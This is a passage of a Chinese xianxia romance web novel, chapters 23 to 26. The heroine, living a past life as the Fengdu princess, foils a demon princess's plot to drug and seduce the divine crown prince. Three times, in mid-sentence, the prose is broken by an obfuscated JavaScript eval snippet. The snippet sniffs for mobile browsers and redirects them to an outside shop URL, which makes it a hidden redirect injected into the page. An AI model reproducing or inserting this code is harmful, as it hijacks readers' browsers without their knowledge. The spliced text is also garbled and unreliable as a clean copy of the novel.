季疏浅不动声色地看了他两眼,这是话中有话啊。 见状,宁瑈轻笑道:“我三哥棋艺可好了,听说姐姐下棋也很厉害,什么时候和三哥切磋一把。” 季疏浅轻笑一声, “好。” 元祉看着她一会,垂下眼睫:“我棋艺不及太子殿下,公主有机会和太子殿下切磋吧。” 宁樾?他居然棋艺精湛,想了想五指染血摸上棋盘的样子季疏浅咽了一下口水。 “对哦,我哥哥棋艺可好了,而且哥哥琴技也很好呢,姐姐要不晚上来听哥哥弹琴吧。”宁瑈被他一提醒一个劲儿地夸宁樾。 季疏浅尴尬地笑了笑:“以后吧。” 一旁的元祉把玩着茶杯,轻笑着放下。 宴会结束后是各种表演,宾客们成群结对笑闹着,几个喝醉的仙人还互相勾搭着,也有宾客提前离席。 季疏浅知道以珈若的性格肯定不会留在此地,她和神后说后,神后招呼了身边的侍女领她去寝殿。 她跟着侍女来到一处种满鲜花的宫殿,仙雾四溢,还不时有唧唧喳喳的仙雀飞过,寝殿中还有一泉水池,池中各色的鱼悠哉悠哉地游着。 这样富有生机的宫殿倒是比酆都的寝殿顺眼多了,她淡淡笑了笑:“多谢。” 侍女见她还算满意也笑着俯身:“公主喜欢便好,这是我们娘娘特意命人布置的,她要是知道您喜欢肯定会高兴的。”说完就欢喜地退下了。 见她走后季疏浅就在水池旁的椅子坐下,手腕一转变出一朵冒着灵气的仙莲逗弄水中的鱼……神后应当是个很好的人。 “墨语,神后和我母后是什么关系?”她没有在珈若的记忆中看到过这些,有些好奇她母神和神后的渊源。 墨语一闪而出:“殿下……您母神和神后是关系很好的朋友,所以从小神后娘娘就将您视如己出。” 原来如此,她一开始还担心是为攀附酆都势力,现在看来倒是真心相待,她若有所思地笑了笑。 这么看来,她和宁樾的这段婚约留着倒也无妨,借此婚约倒可以扼杀无关之人的念头…… 她一边戏着鱼儿,一边理了理自己要做的事。 她要在宁樾成魔之时杀了他……季疏浅动作一顿,渺茫仙雾笼住她的身影。 这时的宁樾还是那个风光无限的神族太子,他为何会堕神成魔……这是季疏浅最不解的一点,他为何会走上那么一条不归路。 - 林知意迈进月华殿时,就看见一个人影倒在地上。 她连忙过去扶起那人,“苏聿?”婉转的声音有些颤抖。 她双指覆上她的额头叹了叹,手心微微冒汗,怎么会魂魄离体了呢。 飘带般的荧光绕在房间,林知意双手交叠施了一个追魂术,片刻过后,她缓缓睁开眼,淡淡的荧光盘旋在皎月琴上。 “糟了。”林知意心中暗道,凡人魂魄离体一日便无法归位。 她闭眼思忖一会,用传音铃向她爹爹说明了情况,定了定神用离魂术进了皎月调。 是她带苏聿回了天道山……无论如何,她不能看着他不管。 一阵神魂撕裂的疼痛后,林知意缓缓睁开了眼睛,入眼是姹紫嫣红,争相斗艳的鲜花,她小心翼翼地握住佩剑。 阿浅进皎月调只是借着前世身份活动,而她和苏聿则是神魂进入,不得掉以轻心。 “谁?”季疏浅察觉到一股不属于这里的气息闯入,回过头看向殿外。 “殿下我去看看。”墨语应声道。 林知意正在打量四周,却突然听到一个有些熟悉的声音,只是多了几分不近人情。 一身黑衣身法利落的女子闪到她面前,林知意立马拔剑挡住她的双剑。 墨语微微皱起眉,这身法真是难得,她抽出双股剑两侧夹击林知意,林知意也不甘示弱一个旋身躲过。 季疏浅正听着外面的动静,却在仙雾缭绕中感受到一股熟悉的剑气,阿姐? “住手。”她闪身到殿外。 墨语听见自家殿下发话自然停下了手中动作,林知意自然也没有和她纠缠,只是舒出一口长气看向声音的来源。 阿姐?季疏浅一眼就看到林知意,她压下震惊。 “墨语,退下。” 墨语低下头,朝她拱手退下,谨遵酆都的规矩,绝不多问。 待她走后,季疏浅一步上前握住愣在原地看着她的林知意:“阿姐,你怎么来了?” 林知意看着她笑道:“差点都没认出来。” 季疏浅扑哧一声笑出来,就见林知意有些担心地说:“阿浅,苏聿也跟着进来了。” “啊。”季疏浅微微蹙起眉头,“我当时弹皎月调时,他还在旁边看着我呢,怎么会?” 林知意垂下眼睫,那看来是有隐情了。 “我回去是他的魂魄被人抽了出来,我查到是在皎月调中。” 季疏浅叹了口气:“皎月调在现实中就是一晚的时间,他不会因为魂魄离体而魂飞魄散……但是在这皎月调中,太危险了。” 林知意眼睫颤了颤,轻轻道;“我去找他。” “嗯……但这四海八荒上哪里找?” 季疏浅和林知意沉默一会,突然季疏浅兴奋抬起头:“有了,阿姐你画一幅丹青画像,我让人去找。” 林知意若有所思:“是个好办法……阿浅你现在是?” 说到这里季疏浅神秘一笑:“阿姐你进来我和你细说。” 一边她拉着林知意进了殿内,林知意瞧着这华贵的寝殿渐渐有了猜测。 “阿姐,坐。”她一边提起一壶仙果茶倒给林知意,神秘地舔了舔嘴唇:“阿姐,你想不到吧,我就是曾经的酆都女帝珈若。” 饶是林知意有了猜测,但也没料到阿浅前世居然是酆都女帝,茶杯一时没拿稳晃了晃,杯中的果茶漾起水波。 季疏浅也没和她卖关子,把最近知道的一切都告诉了她。 听完,林知意的眉头越皱越深,她也曾听说过这位酆都女帝,心中苦笑,她是怎么都不会把自己活泼爱闹腾的妹妹和那位传说中雷霆手段的女帝联系到一起。 她犹豫着开口:“阿浅……前世过去就过去了,这一世你有我们,永远是我们心中的浅浅……” 季疏浅怔了怔看着她,没料到林知意会说这些,她低头一笑,阵阵暖意涌上心头,阿姐这是担心自己被前世影响…… 她扬起一个笑脸:“好。” 林知意也和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746896|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对视一笑:“阿浅,有纸笔吗,我来绘图。” 她正要唤墨语出来,墨语就已到她身旁:“殿下,皇女殿下在殿外说要见您。” 想到宁瑈,她神色柔和几分:“好,墨语你取些纸笔拿给林姑娘。” 墨语有些惊讶这个来路不明,身上没有半分仙气的女子和殿下居然认识,但也没有多问,低下头应了一声:“是。” 季疏浅朝林知意一笑:“我去去就回。” 林知意也淡淡笑了笑:“好。” 她捉裙走向殿外,殿门口的少女正来回踱步,一见她来就兴奋喊道:“姐姐你来了啊。” 季疏浅装作有些正经道:“怎么了?” 宁瑈古灵精怪地一笑:“姐姐,我哥哥今日从人界请了顶好的厨子,做了好多好吃的,姐姐一起来呀。” 季疏浅:“……”宁樾原来是个宠妹狂。 她突然一滞,她似乎没有在千年后再听说过宁樾有个妹妹这一事,所以是……宁瑈已经魂飞魄散了吗? 不知为何她心中莫名一股酸楚,皎月调虽是千年前的重现,但隔着千年她遇到他们,遇到曾经的自己…… 已经既定的结局,她只能看着,却无能为力。 宁瑈见她没说话,歪头看着她:“姐姐?” 软软的声音拉回她的思绪,她无声地点点头。 宁瑈见她答应了,笑的更开心了,一双眼弯弯的像月牙一样,长长的眼睫似蝴蝶的翅膀扑闪,略带婴儿肥的脸颊有两个浅浅的梨涡。 季疏浅一时没忍住,伸手揉了一把,后知后觉反应过来,珈若绝对不会这么干,又故作正经地收回了手。 宁瑈有些疑惑又有些开心,姐姐揉我脸了,但怎么又一脸严肃地收回去了呢。 他们乘着一只青鸢,很快就到了宁樾的寝殿——承宇殿。 季疏浅垂下眼睫,望着脚下的层层仙云出神。 云霏霏而承宇……神帝看来对宁樾寄予厚望啊。 进到承宇殿内,殿内通体洁白的玉石堆砌,不见一丝杂色,墨绿色的玉石砌成了书桌,书柜,一进殿内犹如进了冰窖一般。典雅又不会压了神帝神威,和他太子的身份倒是相衬。 也不知道这寝殿谁修的……季疏浅在心中嘀咕,说得好听是雅致,不好听就是毫无温度。 就这点来说,宁樾和珈若还挺般配的……两个喜欢住冰窖的神。 穿过正殿,宁瑈带她来到承宇殿的后殿,一股扑鼻的果香飘散在空中,季疏浅不自觉吸了一口。 “好闻吗?这是我专门给哥哥配的,今日才换上,以前他一直用沉香,闻都要闻腻了。”宁瑈满怀期待地看着她。 她偏头轻轻一笑:“好闻。” 这句话真是发自内心的,季疏浅暗想,比那各种浓郁香料好闻多了,有股沁人心脾的香甜。 “那我等会拿一点送给姐姐。”说罢,宁瑈就扳着指头算了算还剩多少。 再走近一些,果香味被各种各样的美食香气取代,桌角雕花木桌上摆着各种各样的菜品,几乎全是季疏浅能叫出名字的菜品。 宁樾换了一身方便的水墨色渐变衣袍,正垂下眼睫品着茶,听到声响拿着茶杯的指尖一顿,寻声看去。 怎么是她?他不易察觉地皱了皱眉。 24. 愚计 他脑海里还回想着宁瑈走之前的那句:“哥哥,我去把母后叫来一起吃。” 本来还想着小瑈怎么就今日这么乖觉,原来在这里等着,宁樾心中叹气,小骗子。 宁瑈看出他心中所想,声音软软地撒娇道:“哥哥,母后走不开,我总不能无功而返吧,顺路就把珈若姐姐叫了过来。” 季疏浅看着宁瑈嘟起的粉粉的唇,明白了事情的发展,有些尴尬:“太子若不方便,是我叨扰了。” 宁樾幽幽地收回宁瑈身上的目光,看了季疏浅片刻,缓缓道:“没有不方便,只是粗茶淡饭,公主将就尝尝。” 当真是被当成未来神族继承人培养的神族太子啊,说话让人挑不出一丝错处。 “我很喜欢凡间饭菜。”季疏浅接着他的话,既然她要潜移默化改变别人的印象,那就要从这些细节处开始。 所以这是一句非常诚恳的话,宁樾盯着她眼眸半晌,没有瞧出掩饰,似乎真不是在客套。 “太好了,姐姐居然也喜欢凡间饭菜啊。”宁瑈瞪大眼睛盯着她。 “他们都说凡间饭菜太腻了,但我就觉得很好吃嘛,神界饭菜那简直就是喂神兽的饲料。”她不满地瘪了瘪嘴。 “宁瑈。”宁樾打住了她的话。 季疏浅被她逗笑了,浅浅勾起嘴角,倒也没了不自在,随和地坐下了。 宁瑈没顾忌那么多,拿起筷子连着夹了几个虾饺放进碗里,塞着虾饺的腮帮子一鼓一鼓的,含糊不清道:“姐姐这个可好吃了。” “嗯。”季疏浅也夹了只虾饺。 她说话时,宁樾已经用手帕擦了擦手,剥好了几只虾放进宁瑈碗里,宁瑈冲她甜甜一笑。 这一幕被季疏浅收进眼里,她垂下长长的眼睫掩住情绪。 这时的宁樾当真是个尽职尽责的好哥哥,少年神君丰神俊朗没有半分戾气,或许这个宁樾已经死在他成魔之时了…… 她心底突然浮现一个猜想,宁樾被逼成魔会不会和宁瑈的死有关? 宁樾抬头看了一眼对面情绪不明的季疏浅,沉吟片刻:“公主殿下,可是饭菜不合胃口?” 季疏浅努力挤出一个笑容:“怎会,很合我胃口。” 闻言,宁樾也没有多问,只是看着一个劲儿吃的宁瑈笑了笑。 她佯装镇定,平复了下自己的情绪。 也罢,就当这个宁樾已经灰飞烟灭了吧,至少她没法将那个滥杀无辜的魔尊和眼前的神族太子联系到一起……成魔之日,她不会心软。 “公主殿下,槐江山秘境开启时,酆都打算去多少人?”宁樾岔开话题。 季疏浅若有所思地抬起眼皮,犹豫一下:“就我和墨语吧。” 宁樾点了点头也没多问。 “神族呢?”季疏浅觉得有必要了解下情况。 宁樾沉默一小会:“具体得看我父皇了,槐江山秘境危险难测,应该皇室只有我会主动去。” 他话音刚落,“啪”的一声,宁瑈夹着的裹满红糖的糍粑掉到碗里,她直直地看着宁樾。 “哥……很危险的……你能不能不去啊。”宁瑈越说越小声,其实她心里也明白,自己说的只是徒劳。 宁樾轻轻一笑,夹了一块烧肉到她碗里:“我不主动应了,就得你二哥三哥去了,你舍得?”他扬眉朝她一笑。 宁瑈拨弄着碗里的烧肉,嘟着嘴轻声道:“可是……虽然你们我都舍不得,但是我最舍不得哥哥你嘛……” 季疏浅瞥了一眼宁樾,挂起的嘴角就没放下过,她在心中暗笑,真会套路啊。 不过……她倒是知道元容与会去,他经常给她提起秘境中的种种。 宁樾听到这句话顽劣一笑,他等的就是这句话,伸手揉揉她的头:“放心吧,我去了不会有事的。” 季疏浅见嘴巴没停下过的小姑娘似乎有些失落,默了一瞬伸手揉了揉她毛茸茸的发顶:“放心吧,你姐姐我也在呢。” 宁瑈眨巴着眼睛望着她,抿着唇但还是点了点头。 她顿了顿:“太子殿下,可知槐江山秘境危险在何处?” 宁樾一双金棕色的眼瞳望着她,语气有些严肃:“槐江山秘境中听说有恶灵的破碎力量,引得恶鬼聚集……其实还有一点是去的人势力错综复杂,难免有心怀鬼胎之人,有时人心比恶鬼更难测。” 听到他的最后一句,季疏浅不由抬头看了看他,心底很是赞同这句话…… 有时人心比恶鬼更难测,也更险恶…… “那届时神族除了太子殿下,还有弟子会去吗?” 宁樾不知想到什么轻笑一声:“虽然危险,但只要秘境的收获对得起这份危险,便会有人争先恐后想拿到去的名额。” 季疏浅明白了他话中的意思,不光有弟子要去,去的人还不少。 她盯着一道道菜肴纠结着吃什么,殿外匆匆跑进来一位军士打扮的人,他匆匆朝季疏浅和宁瑈行了个礼,朝向宁樾神色有些张皇:“殿下,今日滕曜不知怎么,突然发狂,现在在后花园里四处乱窜,殿下您去看看吧。” 宁樾盯着他微微蹙起眉头:“好。” 他转头看向季疏浅:“公主殿下慢用,有事失陪了。” 季疏浅谅解地点了点头,心里想的却是宁樾敢用神兵做侍卫,他就不怕神帝担心他权利过大吗。 不过他母后的背后有整个魔界,应该神帝都要忌惮几分。 宁瑈弯弯的眉毛也跟着蹙起,小声嘀咕:“滕曜平日那么乖,怎么会发狂呢?” 季疏浅执着的筷子顿了一瞬:“滕曜?” 宁瑈神情难得严肃:“是一只金钱豹,之前我和哥哥在妖族九头蛇的嘴里救下它时,它还是个幼年小豹子,我和哥哥天天喂它养到现在这么大。”她小嘴向右一撇:“它平日可乖了,只听我和哥哥的话,怎么无端发狂了呢?又是在今天这种日子。” 她一把拉住季疏浅的衣袖,直直看着她:“姐姐,你说该不会是有人故意下毒啥的吧?” 季疏浅盯着她没说话,宁瑈平日看起来是个不经世事的无忧无虑小皇女,实则看问题格外通透。她刚刚心中也浮现过这种可能。 金钱豹?这倒让季疏浅想起那日在天道山,宁樾说的那句:“我的宠物。”原来竟是真话。 - 宁樾垂下眼睫,平日一向很乖的滕曜,在今日这个点上发狂,应该不会是巧合。 侍卫领着他到了花园,身体有些哆嗦:“殿……殿下,属下就不进去了。” 宁樾轻飘飘瞥他一眼,点了点头。 一进花园,一股浓郁的异香扑鼻而来,宁樾下意识屏住呼吸。 即便他几乎从不来这后花园,也知道这股异香不属于这花园。 他皱眉凝出一个护盾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746897|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,侧目看了一圈周围,低声喊了几声:“滕曜。” 后花园门口长着两颗参天万年神树,树上爬满了古藤青苔,一条玉石砌成的小路通向深处。万花盛开,落英缤纷。园中一隅,兰花盛开,幽香四溢。 宁樾闭上眼感受着属于滕曜的气息,有淡淡气息从兰花幽香传来,他神情莫测得看向那片种满兰花的园子。 那是他父帝曾经最疼爱的妃子亲手种出的园子,那位妃子还因此得了个名字叫兰妃。 他俊朗的五官透出一丝危险的气息,从小到大兰妃始终和他母神称为姐妹,将他当作亲生儿子。 可他始终觉得这份温柔下藏的是祸水,兰妃为神帝先后诞下二皇子,三皇子,若没有他,元容与就该是太子。 可偏偏他母神是魔界长公主,身份无比尊贵,嫁与神帝,便是一朝称后。 兰妃陪伴他父帝千年都未封后,他不信她心中无恨,能如表面这般从容。 宁樾看向兰花园,神色晦暗,他不信她有胆量在他父帝眼皮子下害他。 他提脚走去,不知不觉间空气变得格外燥热,连着他体内也格外躁动。 他摁住眉心,一手扶住一旁的参天大树,,尽力压下心中那股燥热,神色沉了下去——有人给他下毒。 他调整了体内紊乱的气息,缓缓睁开眼,就见一身轻纱面带妩媚笑容的虞落从兰花园走出。 虞落掩嘴一笑,眼波柔柔看着宁樾,纤纤玉手拨弄脸庞碎发。半遮半掩的锁骨下泛着淡淡红晕,她盈盈立在兰花丛中,桃花眼绕着情丝,桃花般唇瓣微微勾起:“殿下。” 宁樾凉凉看着她,冷笑一声,自虚空中抽出玄天剑,剑锋直指虞落,冷冷道:“妖族公主可知给神族皇储下毒可是大罪,两族交恶的后果你担不起。” 虞落不甚在意向前一步,媚眼盯着他,银铃般笑了两声:“太子殿下,忍的很难受吧?” “我看那酆都公主甚是无趣,我可是妖族第一美人,殿下就不愿和我吗?” 她说话时宁樾狠狠摁住眉心,这毒远比他想的要烈,他按耐住想杀了她的想法,紧紧握住玄天。 与此同时,吃的有些心不在焉的季疏浅突然感觉手腕一阵刺痛,她低头看向手上的镯子,第一反应便是宁樾出事了。 她一皱眉喊道:“墨语,护住公主。” 宁瑈被她的反应吓了一跳,连忙道:“姐姐,怎么了?” 季疏浅来不及和她解释:“小瑈你在这里呆着,我去去就回,放心不会有事。” 宁瑈一脸担心地看着她消失在承宇殿,叹了口气,今日还真是不安宁。 虞落见宁樾有些难耐,笑了笑走上前,一把拉下自己的披着的轻纱,凝脂般的雪肤隐隐透出一层淡粉,大片春光展露无遗。 玉足轻点,风情万种地走到宁樾身旁,宁樾闭上眼瞥过脸。 见状她笑了笑:“神族天之骄子也会害羞啊,我现在要大喊一声,你觉得大家会以为事实如何呢?” 她语气急转:“人们都喜欢看神坛之上的人陨落不是吗?” 见宁樾还是皱着眉一眼没看她,她有些狠毒道:“太子殿下,以你现在的状况,百口莫辩吧?” 宁樾静静地听着她说的,一瞬,摁着眉心的手点住她的穴位。 虞落表情狰狞一瞬,发现自己全身动弹不得,她恶狠狠道:“你……” 25. 拆招 宁樾满不在乎地冷笑一声:“公主殿下,我不介意将你嘴也封上。” “我的身子你都看了,你别想狡辩,你和酆都公主的婚约我看……” “那今日本公主也来欣赏一下。”一道清冷的女声打断她的话。 虞落一听声音,猛地瞪大双眼,满眼不可思议,羞红了脸。 珈若居然出现在这里……身旁还站了个侍卫。 季疏浅在后园门口见到了刚刚的侍卫,想着怕出什么事,就叫上了侍卫一起进去。酆都公主发话,他也不敢不从,唯唯诺诺跟在身后。 等她跟着脑海里的位置走到时,就看到了这么一幕,虞落挂了个肚兜,穿着一条轻纱般的裙子,表情却是格外狰狞。 在她进园子时便闻到了一股异香,她敏锐地察觉出这股香气应当不寻常,再结合眼前这一幕,她瞬间明白发生了什么事。 这对妖族兄妹还不死心啊。 一看宁樾有些难忍的表情,她觉得有些好笑,不免在心中庆幸叫上了侍卫。 既然妖族公主这么自轻自贱,她便来加一把火。 宁樾也没料到季疏浅会来,皱着眉看着她。 见她走近了一些,他低哑着声音道:“别过来!” 季疏浅一愣,再看见他微微发红的耳尖后心下了然,她有些尴尬的后退了两步。 “你要是……就先回去吧,这里交给我。” 宁樾皱眉看她一眼,低低应声道:“好,我去寻滕曜。” 他瞥了一眼侍卫,冷声道:“查一查承宇殿里的香料,彻查此事,包括滕曜。” 他没有看虞落,径直饶过她进入兰花园。 虞落一脸怨恨地看着季疏浅,她本来打算喊人过来,这样即便宁樾能开脱,也说不清楚了。这下好了,她一来,她的计划就全乱了。 季疏浅自然不知她心中所想,看着那副故作媚态的脸:“我以前竟是不知妖族民风如此开放。” 说罢,她还悠悠将她从头到脚看了一遍。 虞落被她这目光看的不自在,咬牙切齿地撇开了脸。 季疏浅沉默的这一会儿,在脑海中盘算着以珈若的性子会如何处理这件事,要是处理的太过了,恐怕会惹人怀疑。 她细细想了下珈若从前处理人的手段,不由有些震惊。 真是雷霆手段啊,果真是不留一丝情面,上位者的绝对冷酷被珈若演绎地淋漓尽致,珈若是个爱恨分明的性子这点和她一样,但珈若与她不同的是,她眼中唯有律法,不见半分人情。 因此酆都大大小小棘手的事情到了珈若手里也能被摆平……但珈若恐怕也因此树敌无数。 她叹了口气,冷着脸看向虞落,虽然她要渐渐改变既往的形象,某些方面上她不赞同珈若的冷血手段,但这件事上,她和珈若会是一样的处理。 有这一次,便会有下一次,她今日只能杀鸡儆猴。 这件事不光是污蔑神界,若真传了出去,还会让她这个酆都公主被人们笑话。 季疏浅握了握拳:“虞落,今日之事我用留影珠记下,会呈给神帝,你好自为之。” 她抬步就要走,凄厉地声音混着哭腔在她身后响起:“不,不,不要,公主殿下,求您不要。” 季疏浅转过身去,淡淡瞥了一眼泪水滴答而下的虞落:“发生在神界的事,我无权插手,只是如实转告。” “不!”虞落大喊一声,“你知道这意味着什么!要是在大殿上公审,你要置我颜面于何地,置我妖族颜面于何地!” 闻言季疏浅轻轻笑了一声:“我还以为公主殿下不知这其中利弊,原来公主知道这件事的后果。” 她话锋一转:“那公主殿下既然知道后果为何铤而走险?无非是你抱着一丝侥幸,希望能替妖族谋利。” 顿了顿后,她继续道:“身为公主,你可以替妖族做的事有很多,偏偏你们兄妹都要走这么一条阴损的道路。公主殿下,联姻是这么多办法里,再蠢不过的一种了。” 说罢她转身离去,留下怔在原地的虞落。 季疏浅回到承宇殿,就见宁瑈坐在雕花玉椅上摸着一只金黄小豹子的毛茸茸的头,豹子将头枕在她腿上,有几分娇憨。 见她回来,宁瑈轻轻道:“姐姐你回来了。”她朝季疏浅勾了勾手,示意她坐过去。 季疏浅走近了,看着那只体型还算娇小豹子,心中感慨千年后长得一点都不可爱了。 “这就是滕曜吗?” “对。”宁瑈有些气愤:“御医说是有人下了致幻的迷药,这才发狂,我就说嘛,滕曜怎会无缘无故发狂。” 季疏浅看着她笑笑:“你哥哥呢?” “哦,哥哥回来就进了房间,那边。”她拿手指了指一个方向。 季疏浅点了点头,她还是将后续给宁樾说说,毕竟和他有关。 她走近了房间,打量了一下那扇玉雕门,轻轻叩了叩。 没有反应。 她皱了皱眉,该不会出什么事了吧。 她一把推开门,殿内宽敞明亮,和珈若寝殿的布置倒是差不多。殿中一张巨大的床榻,床榻旁放着一个剑架,上面放着各式兵器。 整个大殿空无一人,季疏浅有些疑惑,难道不在寝殿。 见一旁有个内室,她没有多想,一把推开门走了进去。 屋内空气中弥漫着水雾,季疏浅愣了愣,就见宁樾闭眼靠在一个木桶里。 水汽氤氲,他眉眼有些不真切。季疏浅走近他身边,偏头看了看他,犹豫一瞬伸出两根指头准备探探他的气息。 手刚伸出去,哗啦一声,一只沾着水的手捉住她的手。 “小瑈,别闹。”闭眼假寐的宁樾缓缓开口,从她进门起他就感受到了,只是小瑈一贯爱玩闹,他也没有管她。 季疏浅吸了一口凉气,他手怎么那么冰,居然洗冰水澡? 这时宁樾感到一丝不对劲,一向叽叽喳喳的宁瑈今日居然罕见地沉默了。 他抬起眼皮,正对上女子瞪大的双眼,一时握住的手猛地放下。 他瞥开眼:“抱歉。” 季疏浅见他突然睁开眼也有些心虚,本来被当成小瑈就算了,她还想偷偷走了呢,怎么被抓了个现行。 不行,这样有损形象。 她斟酌一下:“无妨,太子殿下不必介怀,我……平日在军中见惯了。” 她吞下了一句话:上回在客栈里已经见过你沐浴了,一回生二回熟。 见惯了?宁樾微微皱起眉头,诧异看着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746898|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季疏浅说的倒没有假,她在珈若的记忆里看到,酆都的士兵训练时可是坦着上身的,珈若似乎也没觉得有什么。 她见宁樾没说话,顿了顿:“你好些了吗?” 这下宁樾的神色更加古怪了,他沉了口气道:“好些了。” 季疏浅点了点头,“我来找你是想跟你说一下虞落的事。” 气氛凝滞了一瞬,“公主殿下……确定我们俩要这么说吗?” 闻言季疏浅看了看,嗯……一个泡在浴桶里,一个站在旁边,确实不太好。 “那我在殿内等你。”说罢她匆匆出去。 片刻后,宁樾更完衣出来,黑色的衣袍沾上些水珠,贴在身上,勾勒出若隐若现的身材。 季疏浅顿了顿移开目光,不自觉吞了一口口水。 “我用留影珠记下了,明日我会交给神帝陛下。”她连忙岔开话题。 宁樾思考一瞬:“好,今日之事多谢公主殿下。” “不必。”季疏浅转身准备出去透个气。 “公主殿下,宁樾有一事想问。”宁樾叫住了季疏浅。 季疏浅转过头一挑眉,示意他问。 宁樾若有所思地看着她:“公主殿下,如何知道今日的情况的?” 季疏浅见他眼底幽深,看来是怀疑酆都的手伸到了神界,她起了捉弄他的心思。 于是,季疏浅端着一副严肃的表情:“我天生便能感知到别人图谋不轨。” 一本正经地胡说八道。 宁樾:“……”他知道珈若在鬼扯,但是很难将那个天生一张冷脸的珈若想成端着一张冷脸在胡扯。 “我送公主殿下回寝殿吧。” 宁樾将季疏浅一路送到寝殿,季疏浅淡淡道了一句谢,宁樾看着她进殿内这才转身离去。 殿内,林知意已经画好了丹青,季疏浅凑过去细细打量,感慨道:“真像。” “墨语,你派人去六界内暗中寻这人。”她吩咐道。 “是。”墨语虽不懂是何意,但还是拿着丹青照做了。 季疏浅和林知意对视一眼懂了对方的意思,苏聿不知为何进了这皎月调,他们不知对方用意,现在不能打草惊蛇。 “对了,墨语你把这个交给神帝。”季疏浅拿出留影珠交给墨语,心下感叹,明天有好戏看了。 墨语走后,她和林知意讲了讲今晚发生的事,有些睡意后便回寝殿睡觉了。 皎月当空,夜半时分最是好梦。 季疏浅看到金碧辉煌的威严大殿上,身穿鹅黄色绣兰花裙的“她”微微俯身行了个礼。 “父皇。” 酆都大帝沉默片刻,庄严的声音自大殿内回响:“珈若,你对这件事有何看法?” 珈若神情淡淡的,“珈若以为,不管是真是假,都有损酆都名声。” “不错。”面无表情的酆都大帝难得有几分赞许的神色:“既然如此,那这桩婚约便解了吧。” 珈若眉头微皱,轻轻道:“父皇。” “可这是母后定下的。” 她这句话一出,大殿瞬间静了几分。 片刻,带着些怒气的声音缓缓道:“珈若……” “任何人,都不得冒犯酆都神威。” 26. 父女 季疏浅醒来时,夜空中那一轮皎月已经淡去月辉。 她愣在床榻上,所以……前世这桩婚约是解了吗。 不知为何,每每与那位酆都大帝相处时,她都有种溺水之感,偏偏还发不出声。 神后生辰大宴的第二日,一件事从月华殿传出,瞬间在六界传的沸沸扬扬。 妖族公主给神族太子下了迷药,妄图勾引不成,反叫路过之人看尽了春色。 留影珠在大殿上重现时,妖帝妖后勃然大怒,直骂道:“妖族没有你这么个丢人现眼的东西。” 虞落跪在大殿上,低垂着头,哭得梨花带雨,双眼通红,低声呜咽道:“虞落真是一时鬼迷心窍,真的……” 她一边偷偷用眼神向虞戍示意她帮自己说说话,想她妖族公主生来便是养尊处优,何时在大殿上受过这种羞辱。 虞戍看见了她的目光,只是淡淡地撇过头装作没看见。 虞落看见他的举动,寒心地止不住颤抖。 神帝自是大怒,愠怒着看向妖帝:“这就是妖帝教的好女儿啊。” 妖帝将后槽牙磨的直响,朝神帝拱手道:“这番……是我教女无方,今日我向太子殿下赔罪,我定会将这不孝女带回去罚过。” 言毕,他立马让两个侍卫将一直低着头默不作声的虞落带出月华殿,匆匆向神帝拱手:“今日出了这种事,我妖族先行告辞。” 神帝面色不悦,但最终还是没说什么。 一出大殿,妖帝立马下令封锁消息……但没隔多久,还是在六界传的沸沸扬扬,成为人们饭后一桩笑料。 就像虞落自己所说:世人喜欢看神的堕落,笑着围观。 待处理完这件事后,季疏浅先行告退,众宾客接连散去,只留下神族的人。 神后淡淡笑了笑,看向神帝小声道:“珈若那孩子看着冷,实际心肠还是个暖的,幸好她昨天去的及时。” 神帝看着她笑了笑,没说话,只默默垂下眼睫掩去了神色。 半晌他抬起眼皮,庄严道:“这次槐江山秘境开启,诸位谁向前去啊。” 一时大殿寂静无声,谁都知道这六界中最危险的秘境不过是槐江山秘境了。 上一回槐江山秘境开启还是千年前,当时进去了能出来的只有寥寥几人,而那几人就是如今的酆都大帝和三界大帝…… 所以一直有传闻道:槐江山秘境选拔出来的人,便是未来皇位上的人。 正当大殿一片沉默之时,一个有些忐忑的声音突兀地响起:“我愿代仙族前去。” 话音落下,在场的人都看向他,是仙族最大的世家百里家的嫡子——百里珧。 在场各位神色各异,有人无奈地摇摇头,有人悄悄叹气。 仙界自古以来便附属于神界,虽占了六界中的一界,但名存实亡,各方势力都握在神族皇室手中,最大的世家替神族皇室代理事务。 百里珧如此出风头,有些喧宾夺主,不合时宜了吧。 在众人的揣测中,高座上的神帝赞许笑道:“好,有胆识。” 他话音落下,在座的人也有了心中猜测,这槐江山秘境传闻有各种秘宝,依如今情形,若他能侥幸活着出来,那他寻到的秘宝也得“心甘情愿”交给神族。 宁樾瞥了一眼他,将目光幽幽放在下一阶上默不作声的皇子身上。 心中轻笑一声,果然和他料想的不差……他们应该是不会主动应下的。 若真要他父皇点人,他父皇势必不会点他,那就是他们俩了…… 